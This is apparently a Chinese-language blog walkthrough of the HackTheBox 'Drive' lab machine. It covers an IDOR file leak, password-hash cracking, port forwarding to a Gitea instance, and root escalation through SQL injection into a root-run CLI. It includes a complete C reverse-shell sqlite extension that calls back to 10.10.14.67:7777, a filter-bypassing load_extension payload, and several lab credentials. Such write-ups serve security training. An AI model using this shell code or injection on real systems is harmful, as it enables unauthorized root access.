Drive HackTheBox

Drive

信息收集

端口扫描

Untitled

80端口 Web 站点

这个发现一个客户的留言,感觉是一种提示。后面想着往越权的方向找其他用户的账号密码

Untitled

越权漏洞获取账号密码

经过一段时间的挖掘后,发现Reserve功能存在越权问题。可以Reverse别人的文件,之后就能看到文件的内容了

Untitled

用Burpsuite遍历,发现账号密码和提示信息。

1
2
martin
Xk4@KjyrYv8t194L!

Untitled

这里提示会备份数据库到 /var/www/backups 目录下

Untitled

根据上面的信息找到了数据库文件

Untitled

破解db.sqlite3里的SHA1得到账户密码,尝试SSH失败

1
tomHands:john316

gitea 泄露解压密码

还记得端口扫描中被filtered的3000端口吗。进程中也发现了gitea,它的默认端口就是3000

Untitled

快速的端口转发

1
2
Kali:ssh -L 3000:127.0.0.1:3000 martin@drive.htb -fN
Windows:ssh -L 3000:127.0.0.1:3000 admin@remoteIP -fN

利用账户名密码登录 gitea

1
2
martin@drive.htb
Xk4@KjyrYv8t194L!

获得备份密码 H@ckThisP@ssW0rDIfY0uC@n:)

Untitled

解压备份文件,尝试爆破SHA1

Untitled

爆出几个密码

1
2
3
johniscool
johnmayer7
john316

尝试登录 ssh 成功

Untitled

提权

反编译 doodleGrive-cli

linpeas 看了一下,其他信息都差不多。提权应该要在这个 doodleGrive-cli 下功夫了

Untitled

反编译看一下,通过这个账号密码可以使用 cli 里的功能,值得注意的是,这里的功能都是以 root 权限执行的

1
2
moriarty
findMeIfY0uC@nMr.Holmz!

Untitled

跟进一下 main_menu() 函数中调用的 activate_user_account() 函数存在命令注入问题,这个程序又是以 root 运行的,我们可以以此提权

Untitled

但一番经过尝试,我没能直接执行系统命令。activate_user_account() 中存在字符过滤函数sanitize_string(),会将 local_29 中的字符过滤掉,也就是过滤了 \ { / | space '

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void sanitize_string(char *param_1)

{
bool bVar1;
size_t sVar2;
long in_FS_OFFSET;
int local_3c;
int local_38;
uint local_30;
undefined8 local_29;
undefined local_21;
long local_20;

local_20 = *(long *)(in_FS_OFFSET + 0x28);
local_3c = 0;
local_29 = 0x5c7b2f7c20270a00;
local_21 = 0x3b;
local_38 = 0;
do {
sVar2 = strlen(param_1);
if (sVar2 <= (ulong)(long)local_38) {
param_1[local_3c] = '\0';
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
bVar1 = false;
for (local_30 = 0; local_30 < 9; local_30 = local_30 + 1) {
if (param_1[local_38] == *(char *)((long)&local_29 + (long)(int)local_30)) {
bVar1 = true;
break;
}
}
if (!bVar1) {
param_1[local_3c] = param_1[local_38];
local_3c = local_3c + 1;
}
local_38 = local_38 + 1;
} while( true );
}

sqlite load_extension 提权

后面想到了sqlite SQL 注入 load_extension

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/* Add your header comment here */
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
SQLITE_EXTENSION_INIT1

/* Insert your extension code here */
int tcp_port = 7777;
char *ip = "10.10.14.67";

#ifdef _WIN32
__declspec(dllexport)
#endif

int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);

int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);

fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}

dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}

return rc;
}

编译成 so 文件

1
gcc -g -fPIC -shared shell.c -o t.so

进入doodleGrive-cli,选择5,用户名填写 "+load_extension(char(46,47,116))--绕过过滤函数并加载so

Untitled

即可绕过过滤函数,加载so文件反弹shell

Untitled 14


Drive HackTheBox
http://aurey7.github.io.git/2023/10/22/Drive-HackTheBox/
作者
Aurey7
发布于
2023年10月22日
许可协议